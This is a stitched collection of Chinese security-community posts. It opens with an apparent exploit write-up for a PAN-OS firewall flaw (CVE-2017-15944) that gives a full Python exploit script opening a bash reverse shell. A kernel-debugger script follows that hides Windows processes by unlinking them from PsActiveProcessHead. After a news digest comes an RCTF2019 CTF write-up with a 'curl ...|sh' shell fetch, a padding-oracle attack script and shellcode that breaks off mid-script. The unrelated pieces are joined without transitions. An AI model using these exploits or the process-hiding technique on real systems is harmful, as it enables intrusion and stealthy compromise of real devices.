这一步的漏洞详情描述最复杂，英文阅读能力跟不上看地也是云里雾里的…
PoC 就很简单了，其实这个漏洞总结一句话就是可以设置任意 cookie 绕过页面的权限认证
先访问 `/php/utils/debug.php` ，然而访问
`/esp/cms_changeDeviceContext.esp?device=aaaaa:a%27”;user|s.”1337”;`
再访问`/php/utils/debug.php`便绕过了认证
任意目录创建使用前面设置的cookie POST JSON 请求到
`/php/utils/router.php/Administrator.get`，如果成功便会在`/opt/pancfg/session/pan/user_tmp/{cookie
value}/{jobid}.xml` 创建一个目录和临时文件，目录就是下面Payload的cookie值，可以用../跳目录，jobid
是应该是创建的任务，在response中会返回。
{"action":"PanDirect","method":"execute","data":
["07c5807d0d927dcd0980f86024e5208b","Administrator.get",
{"changeMyPassword":true,"template":"asd","id":"admin']\"
async-mode='yes' refresh='yes'
cookie='../../../../../../tmp/hacked'/>\u0000"}],"type":"rpc","tid":713}
我在测试的时候遇到一个小问题，复制的payload 一直返回 `{“type”:”exception”,”tid”:””,”message”:”Call
to undefined class: “}` ，这就很尴尬了，因为我既没有设备也没有代码，只能确定这肯定是一个报错，但并不知道怎么解决。
emmmm，检查之后发现一处“坑”
标红线的位置应该要有空格的，但是由于是copy的原因，空格可能就被换行替代了
如果看到这样的response返回那么就是成功了
其实命令执行漏洞也要配合这里任意创建目录才能完成攻击，但是最关键的细节却被原隐藏了
大概知道环境是crontab 执行脚本，两个脚本之间调用（genindex_batch.sh 调用
genindex.sh），`$PAN_BASE_DIR/logdb/$dir/1`
是出现漏洞的代码，大概是$dir可控，但是文中提到的find却不知道是何作用。
不过好在原作者给出了EXP示例
* -print -exec python -c exec("[base64 code..]".decode("base64")) ;
熟悉find命令的同学肯定知道 `-print -exec` 的作用，不熟悉也没有关系，可以man find进行查看，
猜测genindex.sh脚本使用 find
并且目录可控，不过在这里犯了一个致命的错误，因为在命令构造的时候是在终端测试，所以要加单引号双引号不然会报错，前面说过Payload是JOSN，所以又要考虑引号转义的问题，这里抓头了一阵。
意识到错误之后便在sh脚本中测试命令，因为这里是隐式的命令执行，所以要利用oob的方式进行验证，要注意命令并不会立即执行，因为存在命令执行的文件是genindex.sh，而且是
genindex_batch.sh 进行调用，genindex_batch.sh 又是crontab
每隔15分钟执行一次，所以到等触发时间，这里需要注意命令可能会被多次执行，拿到shell看到源码才知道原来命令执行的地方是一个for循环。
ok，可以尝试一下写webshell，直接执行echo肯定是不行的，特殊符号问题。
所以要使用编码，原作者也是使用的这种方式，不过编码有一个特别不好的地方是长度会增加，因为这里是其实是创建文件夹，Linux文件名称最长可支持到255个字符(characters)
漏洞发现者是写webshell拿到的权限，这样权限是nobody，属于低权限，想要root权限就用反弹shell
下面给出 EXP
#!/usr/bin/env python
# encoding: utf-8
import requests
import sys
import base64
requests.packages.urllib3.disable_warnings()
session = requests.Session()
def step3_exp(lhost, lport):
command = base64.b64encode('''exec("import os; os.system('bash -i >& /dev/tcp/{}/{} 0>&1')")'''.format(lhost, lport))
exp_post = r'''{"action":"PanDirect","method":"execute","data":["07c5807d0d927dcd0980f86024e5208b","Administrator.get",{"changeMyPassword":true,"template":"asd","id":"admin']\" async-mode='yes' refresh='yes' cookie='../../../../../../../../../tmp/* -print -exec python -c exec(\"'''+ command + r'''\".decode(\"base64\")) ;'/>\u0000"}],"type":"rpc","tid": 713}'''
return exp_post
def exploit(target, port):
step1_url = 'https://{}:{}/php/utils/debug.php'.format(target, port)
step2_url = 'https://{}:{}/esp/cms_changeDeviceContext.esp?device=aaaaa:a%27";user|s."1337";'.format(target, port)
step3_url = 'https://{}:{}/php/utils/router.php/Administrator.get'.format(target, port)
try:
if session.get(step1_url, verify=False).status_code == 200:
if session.get(step2_url, verify=False).status_code == 200:
r = session.get(step1_url, verify=False)
if 'Debug Console' in r.text:
print '[+] bypass success'
lhost = raw_input('[*] LHOST: ')
if lhost:
print '[+] set LHOST = {}'.format(lhost)
lport = raw_input('[*] LPORT: ')
else:
exit('[!] LHOST invalid')
if lport:
print '[+] set LPORT = {}'.format(lport)
else:
exit('[!] LPORT invalid')
exp_post = step3_exp(lhost, lport)
rce = session.post(step3_url, data=exp_post).json()
if rce['result']['@status'] == 'success':
print '[+] success, please wait ... '
print '[+] jobID: {}'.format(rce['result']['result']['job'])
else:
exit('[!] fail')
else:
exit('[!] bypass fail')
except Exception, err:
print err
if __name__ == '__main__':
if len(sys.argv) <= 3:
exploit(sys.argv[1], sys.argv[2])
else:
exit('[+] usage: python CVE_2017_15944_EXP.py IP PORT')
* * * | 社区文章 |
**作者：wzt
原文链接：<https://mp.weixin.qq.com/s/08KHfzVltDu3rwZefJ98-Q>**
NT内核在创建进程时，会将自身插入到`nt!PsActiveProcessHead`链表中，它保存的是当前系统中活跃的进程链表。
NTSTATUS
PspCreateProcess(
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN HANDLE ParentProcess OPTIONAL,
IN ULONG Flags,
IN HANDLE SectionHandle OPTIONAL,
IN HANDLE DebugPort OPTIONAL,
IN HANDLE ExceptionPort OPTIONAL,
IN ULONG JobMemberLevel
)
{
PspLockProcessList (CurrentThread);
InsertTailList (&PsActiveProcessHead, &Process->ActiveProcessLinks);
PspUnlockProcessList (CurrentThread);
}
在kd查看下相关的数据结构信息：
0: kd> dt nt!_eprocess
+0x2e8 UniqueProcessId : Ptr64 Void
+0x2f0 ActiveProcessLinks : _LIST_ENTRY
Win32
api就是通过调用`nt!NtQueryInformationProcess`函数获取系统的进程列表，所以隐藏进程的一个思路就是将目标进程从`nt!PsActiveProcessHead`链表中摘除。
首先看下，如何编写kd脚本，来输出全部的进程列表：
r $t1=$proc;
r @$t2=@$t1;
.while (@$t1 != poi(@$t2+0x2f0)-0x2f0)
{
.printf "%ma\n", @$t2+0x450;
r @$t2=poi(@$t2+0x2f0)-0x2f0
}
PsActiveProcessHead是一个双向循环列表，因此只要知道一个节点的地址，就能循环遍历处所有的节点。
`$proc` 在kd环境中保存的是当前进程的eprocess地址。
`Poi(@$t2+0x2f)`
为Process->`ActiveProcessLinks`地址，poi函数用于取地址中的值，类似于c的取指针值操作。`Poi(@$t2+0x2f)`得到的就是当前节点的下一个节点地址。
那么删除双向链表中的节点，就可以使用如下脚本：
$$ 准备遍历PsActiveProcessHead链表
r @$t1=nt!PsActiveProcessHead;
r @$t2=poi($t1);
.while (@$t2 != @$t1)
{
$$ 判断是否是需要隐藏的进程号
.if (poi(@$t2-0x8) == 0n532)
{
.printf "start hide process %ma(%d)\n", @$t2-0x2f0+0x450,poi(@$t2-0x8) ;
$$ 删除链表节点
eq poi(@$t2)+0x8 poi(@$t2+0x8)
eq poi(@$t2+0x8) poi(@$t2)
.break
}
$$ 获取下一节点
r @$t2=poi(@$t2)
}
* * * | 社区文章 |
# 3月1日安全热点 - Trustico和DigiCert撤销23000名用户的SSL证书
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
花式熊：德国调查“俄罗斯人的网络攻击”
<http://www.bbc.com/news/world-middle-east-43232520>
用于加密挖掘的反序列化攻击
<http://resources.infosecinstitute.com/deserialization-attacks-crypto-mining/>
23000名用户在Trustico-DigiCert Spat中丢失SSL证书
<https://www.bleepingcomputer.com/news/security/23-000-users-lose-ssl-certificates-in-trustico-digicert-spat/>
安全漏洞的五大方式隐藏在您的IT系统中
<http://www.eweek.com/security/top-five-ways-security-vulnerabilities-hide-in-your-it-systems>
避免成为加密挖掘机器人：在哪里寻找挖掘恶意软件和如何响应
<https://www.securityweek.com/avoid-becoming-crypto-mining-bot-where-look-mining-malware-and-how-respond>
Sofacy袭击多个政府实体
<https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/>
Facebook暴露的电子邮件中的漏洞和页面管理员的详细信息
<http://securityaffairs.co/wordpress/69630/hacking/facebook-page-administrator.html>
## 技术类
Re: Multiple vulnerabilities in Jenkins plugins
<http://seclists.org/oss-sec/2018/q1/202>
5种Linux工具帮助从损坏的驱动器中恢复数据
<https://news.hitb.org/content/5-linux-tools-help-recover-data-corrupted-drives>
D-Link DGS-3000-10TC跨站请求伪造
<https://packetstormsecurity.com/files/146612/dlinkdgs300010tc-xsrf.txt>
最新然之协同(包含专业版)及喧喧及时聊天系统远程命令执行漏洞详解
<https://paper.seebug.org/534/>
加密101：ShiOne勒索软件案例研究
<https://blog.malwarebytes.com/threat-analysis/2018/02/encryption-101-shione-ransomware-case-study/> | 社区文章 |
# Gr3yW0lf RCTF2019 Writeup
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## Misc
### welcome
google找到freenode网页版进入IRC #rctf2019频道，进去赫然写着RCTF{Welcome_To_RCTF2019}
### Draw
根据题目提示，搜索部分代码，返回LOGO语言，下载PC
logo语言编译工具，将题目给出命令语句导入编辑器，画出图像，结合题目正则最后得出flag:RCTF_Hey_Logo
### Disk
下载附件解压得到encrypt.vmdk，发现为VM虚拟机相关文件，尝试用VM打开，报文件格式错误。然后使用7z提取encrypt.vmdk，得到encrypt.mbr，再提取，得到0.fat。Winhex查看0.fat数据信息，在其中发现大量明文字符串循环，判断应该是“rctf{unseCure_quick_form4t_vo1ume”。
结合题目信息，使用“VeraCrypt”加密文件，而且提供密码为“rctf”。直接使用VeraCrypt挂载0.fat（尝试挂载encrypt.vmdk、encrypt.mbr失败），输入密码，挂载成功，得到“70056639_useless_file_for_ctf_just_ignore_it.jpg”和“password.txt”两个文件。判断jpg无用，而从txt中得到第二个密码“RCTF2019”，结合看到一篇关于VeraCrypt使用方法文档中涉及“明暗双盘符”情况，使用“RCTF2019”再次挂载，得到隐藏盘符，无法打开。使用winhex以FAT32格式加载隐藏盘符，发现明文字“_and_corrupted_1nner_v0lume}”。
与前半段拼接得到flag：rctf{unseCure_quick_form4t_vo1ume_and_corrupted_1nner_v0lume}
### Printer
从pcapng中提取传送到打印机的数据，命令如下：
SET TEAR ON
CLS
BITMAP 138,75,26,48,1,ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÃÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿçÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿçÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿçÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿçÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿçÿãÿþÿÿÿÿøÀ<`?À|àðgÿøüÀ?ÿñðOñÿÿÿ?üÿ'üóáÿùÿÿñüÏøÿÿÿ?þþ?øÿïøÿùÿÿñü?ÇüÿÿÿþüÇùÿßüùÿÿñüãüÿÿþüÿçñÿü?ùÿÿÇñüãþ?ÿÿþøÿçñÿ¿þ?ùÿÿÇñüãþ?ÿÿþøÿçáÿ?þ?ùÿÿãñüãÿÿÿGþøÿçãÿþùÿÿãñüóÿÿÿGþùÿçãÿÿÿÿùÿÿññüóÿÿÿcþùÿçñÿÿÿÿùÿÿññüóÿÁÿÿcþùÿçñÿÿÿÿùÿÿññüãÿãÿÿqþùÿçñÿÿÿÿùÿÿøñüãÿçÿÿqþøÿçøÿÿÿÿùÿÿøñüãÿÏÿÿxþøÿçüÿÿÿÿùÿÿüaüçÿÿÿxþøÿÇþ?ÿÿÿùÿÿüAüÇÿ?ÿÿ|~üÿÇÿÿÿÿñÿÿþü?ÿÿÿ|~ü§ÿÿÿÿéÿÿþ1üþÿÿ~>þ>gþ?ÿÿÿÿÿÿ1ü@?àÿÿ~>ÿàüÿÿÿÀ9ÿÿþqüyÿÿÿÿÿÿóïøÿÿÿÿðùÿÿþñüÿÿÿÿÿÿÿÿøÿÿÿÿÿùÿÿüñüÿÿÿÿÿÿÿÿøÿÿÿþÿùÿÿùñüÿÿÿÿÿÿÿÿøÿþ?ÿùÿÿûñüÿÿÿÿÿÆÿÿÿøÿ?þ?ÿùÿÿ÷ñüÿÿÿÿÿÂÿÿÿøÿ¿üÿùÿÿçñüÿÿÿÿÿâÿÿÿøÿüÿùÿÿÏñüÿÿÿÿÿðÿÿÿüÿøÿÿùÿÿñüÿÿÿÿÿðÿÿÿüñÿÿùÿÿðü?ÿÿÿÿþøÿÿÿþãÿÿøÿüÀ<ÿÿÿàxø?ÿÿÿÿøÿÿø?ÿÿÿýÿÿÿÿ?ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿûÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ
BITMAP 130,579,29,32,1,ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÇÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿþ8ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿýÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿùÿ?ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿùÿ?ÿÿÿÿÿÿþûÿÇÿÿÿáÿøÿÿÿü?ÿÿÿÿùÿ?øÿÿÿÿÿþûÿ9ÿç/ÿÿóÃüÿÿø~xF??ðþ{þþÿ÷ÿ??ÿÿïóÿ¿ÿÿüú?ûÿþþqüþ÷ÿÏÿÿïûÿ¿ÿÿÿÀ~ûÿþÿüqùÿ?÷þÿ?Ïÿÿïûÿ¿ÿÿÿþ~ûÿþÿýuùÿ?÷ÿÿÏ?Ïÿÿçÿÿ¿ÿÿÿþ~ûÿþÿý5ùÿ?÷ÿÿÏ?Ïÿÿãÿÿ¿ÿÿÿþûÿþÿý,ùÿ?÷ÿÿÏ?Ïÿÿðÿ¿ÿÿÿ|þ?ûÿþÿû,ùÿ?÷þ?Ïÿÿüÿ¿ÿÿþ~~|ûÿþÿû¬ùÿ?÷þÏ?Ïÿÿÿÿ¿ÿÿþ~~ÿûÿþÿûùÿ?÷þÏ?Ïÿÿÿçÿ¿ÿÿþþ~ÿûÿþÿûyÿ?÷þ?Ïÿÿïóÿ¿ÿÿþþ~ûÿþÿ÷|þ÷ÿ?ÿÿïóÿ¿ÿÿþ~ûÿþ÷~üÿ÷ÿ??ÿÿç÷ÿ¿ÿÿò~ÿ??ûÿþã?9ÿ÷ÿÎÀOÿÿáÏÿÿÿðÿûÿþÿÿÿÇÿ÷ÿñÿûÏÿÿî?ÿÿÿûçÿáÿûÿàÿÿÿÿÿÿ÷ÿÿÿÿÏÿÿÿÿÿÿÿÿÿÿÿÿÿûÿþÿÿÿÿÿÿ÷ÿÿÿÿÏÿÿÿÿÿÿÿÿÿÿÿÿÿûÿþÿÿÿÿÿÿ÷ÿÿÿÿÏÿÿÿÿÿÿÿÿÿÿÿÿÿûÿþÿÿÿÿÿÿ÷ÿÿÿÿÏÿÿÿÿÿÿÿÿÿÿÿÿÿûþ~ÿÿÿÿÿÿ÷ÿÿÿÿÏÿÿÿÿÿ?ÿÿÿÿÿÿÿûþ~ÿÿÿÿÿÿÿ÷ÿÿÿÿÏÿÿÿÿÿÿÿÿÿÿÿÿûþ|ÿÿÿÿÿÿÿð?ÿÿÿÃÿÿÿÿÿÿÿÿÿÿÿÿøÿÿÿÿÿÿÿóÿÿÿÿÏÿÿÿÿÿ¿ÿÿÿÿÿÿÿùÿÿÿ
BAR 348, 439, 2, 96
BAR 292, 535, 56, 2
BAR 300, 495, 48, 2
BAR 260, 447, 2, 88
BAR 204, 447, 56, 2
BAR 176, 447, 2, 96
BAR 116, 455, 2, 82
BAR 120, 479, 56, 2
BAR 44, 535, 48, 2
BAR 92, 455, 2, 80
BAR 20, 455, 72, 2
BAR 21, 455, 2, 40
BAR 21, 495, 24, 2
BAR 45, 479, 2, 16
BAR 36, 479, 16, 2
BAR 284, 391, 40, 2
BAR 324, 343, 2, 48
BAR 324, 287, 2, 32
BAR 276, 287, 48, 2
BAR 52, 311, 48, 2
BAR 284, 239, 48, 2
BAR 308, 183, 2, 56
BAR 148, 239, 48, 2
BAR 196, 191, 2, 48
BAR 148, 191, 48, 2
BAR 68, 191, 48, 2
BAR 76, 151, 40, 2
BAR 76, 119, 2, 32
BAR 76, 55, 2, 32
BAR 76, 55, 48, 2
BAR 112, 535, 64, 2
BAR 320, 343, 16, 2
BAR 320, 319, 16, 2
BAR 336, 319, 2, 24
BAR 56, 120, 24, 2
BAR 56, 87, 24, 2
BAR 56, 88, 2, 32
BAR 224, 247, 32, 2
BAR 256, 215, 2, 32
BAR 224, 215, 32, 2
BAR 224, 184, 2, 32
BAR 224, 191, 32, 2
BAR 272, 311, 2, 56
BAR 216, 367, 56, 2
BAR 216, 319, 2, 48
BAR 240, 318, 2, 49
BAR 184, 351, 2, 16
BAR 168, 351, 16, 2
BAR 168, 311, 2, 40
BAR 152, 351, 16, 2
BAR 152, 351, 2, 16
PRINT 1,1
有用的就是BITMAP和BAR，作用如下：
根据这个命令写脚本画出图形即可。
bar脚本
a=[348, 439, 2, 96, 292, 535, 56, 2, 300, 495, 48, 2, 260, 447, 2, 88, 204, 447, 56, 2, 176, 447, 2, 96, 116, 455, 2, 82, 120, 479, 56, 2, 44, 535, 48, 2, 92, 455, 2, 80, 20, 455, 72, 2, 21, 455, 2, 40, 21, 495, 24, 2, 45, 479, 2, 16, 36, 479, 16, 2 , 284, 391, 40, 2, 324, 343, 2, 48, 324, 287, 2, 32, 276, 287, 48, 2, 52, 311, 48, 2, 284, 239, 48, 2, 308, 183, 2, 56, 148, 239, 48, 2, 196, 191, 2, 48, 148, 191, 48, 2, 68, 191, 48, 2, 76, 151, 40, 2, 76, 119, 2, 32, 76, 55, 2, 32, 76, 55, 48, 2, 112, 535, 64, 2, 320, 343, 16, 2, 320, 319, 16, 2, 336, 319, 2, 24, 56, 120, 24, 2, 56, 87, 24, 2, 56, 88, 2, 32, 224, 247, 32, 2, 256, 215, 2, 32, 224, 215, 32, 2 , 224, 184, 2, 32, 224, 191, 32, 2, 272, 311, 2, 56, 216, 367, 56, 2, 216, 319, 2, 48, 240, 318, 2, 49, 184, 351, 2, 16, 168, 351, 16, 2, 168, 311, 2, 40, 152, 351, 16, 2, 152, 351, 2, 16]
b = [[1 for j in range(550)] for i in range(400)]
for i in range(len(a)/4):
j=i*4
x=a[j]
y=a[j+1]
n=a[j+2]
m=a[j+3]
for p in range(n):
for q in range(m):
b[x+p][y+q]=0
#print a[j],a[j+1],a[j+2],a[j+3]
f1=open("png.txt",'w')
for j in range(550):
for i in range(400):
if b[399-i][549-j] !=1:
f1.write("*")
else:
f1.write('_')
f1.write('n')
f1.close()
bitmap的脚本
import re
from PIL import Image
with open('bitmap','r') as f:
bit = f.read()
def bb(bit):
s = re.findall('(.{2})',bit)
return ''.join([chr(int('0x'+i,16)) for i in s])
bit = bb(bit).split('BITMAP ')
bit = bit[::-1]
bit.pop()
b = bit[0][len('130,579,29,32,1,'):]
c = bit[0][:len('130,579,29,32,1,')]
c = c.split(',')
x = c[0]
y = c[1]
width = int(c[2])
height = int(c[3])
print width,height
print width*height,len(b)
cc = 0
s = ''
for i in b:
n = ord(i)
a = bin(n)
a=a.replace('0b','')
while (len(a) < 8):
a = '0'+a
s += a
cc+=1
if cc % width == 0:
s+='n'
with open('bmp1','w') as f:
f.write(s)
b = bit[1][len('138,75,26,48,1,'):]
b = b[:-2]
c = bit[1][:len('138,75,26,48,1,')]
c = c.split(',')
x = c[0]
y = c[1]
width = int(c[2])
height = int(c[3])
print width,height
print width*height,len(b)
cc = 0
s = ''
for i in b:
n = ord(i)
a = bin(n)
a=a.replace('0b','')
while (len(a) < 8):
a = '0'+a
s += a
cc+=1
if cc % width == 0:
s+='n'
with open('bmp2','w') as f:
f.write(s)
生成图片内容：
就可以的得到flag
## Web
### nextphp
题目的环境是php
7.4.0-dev,增加了一些特性，比如preload、FFI、__serialize序列化等。需要绕过open_basedir和disable_function，需要使用PHP
7.4的新特性才可以绕过。
FFI可以在调用外部的函数，可以绕过上面的限制，但是本身调用FFI的时候是有条件的，需要在preload中执行，这就需要调用preload.php的类，
设置func为`FFI::cdef`，调用`int system(const char *command);`来执行系统命令，如下：
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => "FFI::cdef",
'arg' => "int system(const char *command);" ];
}
生成序列化串：
`C:1:%22A%22:95:{a:3:{s:3:%22ret%22;N;s:4:%22func%22;s:9:%22FFI::cdef%22;s:3:%22arg%22;s:32:%22int%20system(const%20char%20*command);%22;}}`
构造执行回连的命令
a=$b=unserialize($_GET[b]);var_dump($b);var_dump($b->__get(‘ret’)->system(‘curl
<https://shell.now.sh/><IP>|sh’));phpinfo();
然后执行就可以直接getshell，得到flag
## Reverse
### babyre1
通过输入一个16字节字符串，每两位为一组，合成8字节hex串。
将8字节hex串进行xtea解密，得到的结果v8进行crc16，答案为27106则正确。
在正确的情况下，v8^0x17为Bingo！，如下图所示
根据这个思路，可以反向写出结果。因为Bingo!为6字节，所以xtea的解密结果需要补全两位，从程序中发现加密算法，发现补全的为0x20。
得到最终flag
### babyre2
这道题输入username，password，data三部分，username和key进行xtea解密，password和data进行按位取值操作，最终结果只需满足加密结果最后一位<0x04就行。
根据题意，确定一个满足条件的password和data,对username进行爆破。
爆破结果 aaaaaaaaaax01x0b
### DontEatMe
输入经BLOWFISH解密，密钥使用“fishFISH”经过简单运算得到最终密钥{
0x00,0x0f,0x1a,0x01,0x35,0x3a,0x3b,0x20 }，得到的明文刚好是迷宫的路径。
迷宫地图是固定的，如下：
1111111111111111
1000000000111111
1011111110111111
1011111110111111
1011110000000111
1011110111110111
1011110111110111
1011110000110111
1011111110110111
1011111110110111
1000000000110111
1111101111110111
1111100000000111
1111111111111111
1111111111111111
1111111111111111
正确的路径应该由地图坐标0xA5走到0x49，还原成字符串为：ddddwwwaaawwwddd，使用BLOWFISH加密可得flag为：db824ef8605c5235b4bbacfa2ff8e087
## Crypto
### baby_crypto
**分析**
查看程序功能，可以看出程序首先会让我们输入用户密码，然后得到cookie和cookie的加盐哈希。之后要求输入`iv+cookie+hash`，解析cookie如果包含`;admin:1`且验证`sha1(cookie)==hash`通过就能得到flag。
**思路**
首先hash验证部分可以使用hash长度扩展攻击通过。分别输入用户`aaaaaaaaaa`密码`bbbbbbbbbb`·，则已知`sha1(salt+“admin:0;username:aaaaaaaaaa;password:bbbbbbbbbb”)`的值，使用`hashpumpy`可以得到`"admin:0;username:aaaaaaaaaa;password:bbbbbbbbbbx80x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x01xf8;admin:1x08x08x08x08x08x08x08x08"`的带salt的sha1。
hash_ext = hashpumpy.hashpump('e998919db7d91e831e0382060e8d5b4742458af2',
cookie_text, ';admin:1', 16)
print(hash_ext)
之后就是构造出一组密文，AES解密能得到`"admin:0;username:aaaaaaaaaa;password:bbbbbbbbbbx80x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x01xf8;admin:1x08x08x08x08x08x08x08x08"`明文。由于加解密采用CBC模式，并且程序提供一个循环输入功能，而且在AES解密后会判断是否正常填充。所以可以使用`Padding
oracle
attack`，分组逐字节爆破密文，最后一组密文可以直接异或得到，所以需要爆破7组，每组16字节长，最多需要`260*16*7=28672`次。
**exp**
#!/usr/bin/env python
# -*- coding: utf-8 -*- from pwn import *
import time
debug = 0
# p = process("./crypto.py")
# nc 207.148.68.109 20000
p = remote("45.76.208.70",20000)
# p = remote("207.148.68.109",20000)
if debug:
context.log_level = "debug"
p.sendlineafter("name:n","a"*10)
p.sendlineafter("word:n","b"*10)
p.recvuntil("cookie:n")
text = p.recvuntil("n")[:-1]
# print text
sha1 = text[-40:]
print("sha1:",sha1)
c7 = text[-72:-40]
c6 = text[-104:-72]
print("c7:",c7)
result = "admin:0;username:aaaaaaaaaa;password:bbbbbbbbbbx80x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x01xf8;admin:1x08x08x08x08x08x08x08x08"
re = []
for i in range(len(result)/16):
re.append(result[16*i:16*(i+1)])
m1 = ";admin:1x08x08x08x08x08x08x08x08"
m2 = "word:bbbbbbbbbbx01"
c6 = int(m1.encode("hex"),16)^int(m2.encode("hex"),16)^int(c6,16)
c6 = str(hex(c6)[2:])
c6 = "0"*(16-len(c6))+c6
print ("c6:",c6)
p.sendlineafter("cookie:n",c6*2+c7+sha1)
def oracle_app(c6,sha1):
a = []
for _ in range(16):
a.append("61")
for j in range(16):
for i in range(0x100):
print(j,i,)
a[15-j]=str(hex(i)[2:])
a[15-j] = "0"*(2-len(a[15-j]))+a[15-j]
test_c5 = ""
for n in range(16):
test_c5 += a[n]
p.sendlineafter("cookie:n",test_c5*2+c6+sha1)
message = p.recvuntil("n")[:-1]
if message !="Invalid padding":
if j!=15:
a[15-j] = str(hex((j+1)^(j+2)^i)[2:])
a[15-j] = "0"*(2-len(a[15-j]))+a[15-j]
# print a[15-j]
for k in range(j):
a[15-k] = str(hex(int(a[15-k],16)^(j+1)^(j+2))[2:])
a[15-k] = "0"*(2-len(a[15-k]))+a[15-k]
break
c5 = ""
for n in range(16):
c5 += a[n]
return c5
c5 = oracle_app(c6,sha1)
c5 = int(c5,16)^int(re[6].encode("hex"),16)^int(("x10"*16).encode("hex"),16)
c5 = hex(c5)[2:]
c5 = "0"*(32-len(c5))+c5
print c5
c4 = oracle_app(c5,sha1)
c4 = int(c4,16)^int(re[5].encode("hex"),16)^int(("x10"*16).encode("hex"),16)
c4 = hex(c4)[2:]
c4 = "0"*(32-len(c4))+c4
print c4
c3 = oracle_app(c4,sha1)
c3 = int(c3,16)^int(re[4].encode("hex"),16)^int(("x10"*16).encode("hex"),16)
c3 = hex(c3)[2:]
c3 = "0"*(32-len(c3))+c3
print c3
c2 = oracle_app(c3,sha1)
c2 = int(c2,16)^int(re[3].encode("hex"),16)^int(("x10"*16).encode("hex"),16)
c2 = hex(c2)[2:]
c2 = "0"*(32-len(c2))+c2
print c2
c1 = oracle_app(c2,sha1)
c1 = int(c1,16)^int(re[2].encode("hex"),16)^int(("x10"*16).encode("hex"),16)
c1 = hex(c1)[2:]
c1 = "0"*(32-len(c1))+c1
print c1
c0 = oracle_app(c1,sha1)
c0 = int(c0,16)^int(re[1].encode("hex"),16)^int(("x10"*16).encode("hex"),16)
c0 = hex(c0)[2:]
c0 = "0"*(32-len(c0))+c0
print c0
iv = oracle_app(c0,sha1)
iv = int(iv,16)^int(re[0].encode("hex"),16)^int(("x10"*16).encode("hex"),16)
iv = hex(iv)[2:]
iv = "0"*(32-len(iv))+iv
print iv+c0+c1+c2+c3+c4+c5+c6+c7
# p.sendlineafter("cookie:n",c6*2+c7+sha1)
p.interactive()
## Pwn
### Shellcoder
这题允许输入7个字节的`shellcode`，我们首先使用`read`的系统调用，读入更多可执行的`shellcode`：
sc = asm('''
mov dh,0xf
xchg rsi,rdi
syscall
''')
然后，由于不能直接使用`shellcode`起`shell`，我们编写了利用`getdents`系统调用，递归查找`flag`文件的`shellcode`。最后打印出flag文件的内容。完整的利用脚本如下：
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
from time import sleep
import base64
context(os='linux', arch='amd64')
context.log_level = 'debug'
IS_DEBUG = 0
prog = './shellcoder'
if IS_DEBUG:
r = process(prog)
# r = process(prog, env={'LD_PRELOAD':'../libc/libc-2.28.so'})
else:
r = remote('139.180.215.222', 20002)
elf = ELF(prog)
libc = elf.libc
def my_u64(byte_arr):
padding = b'x00' * (8-len(byte_arr))
res = byte_arr + padding
return struct.unpack('<Q', res)[0]
# gdb.attach(r, 'b *0x5555555544c7nc')
sc = asm('''
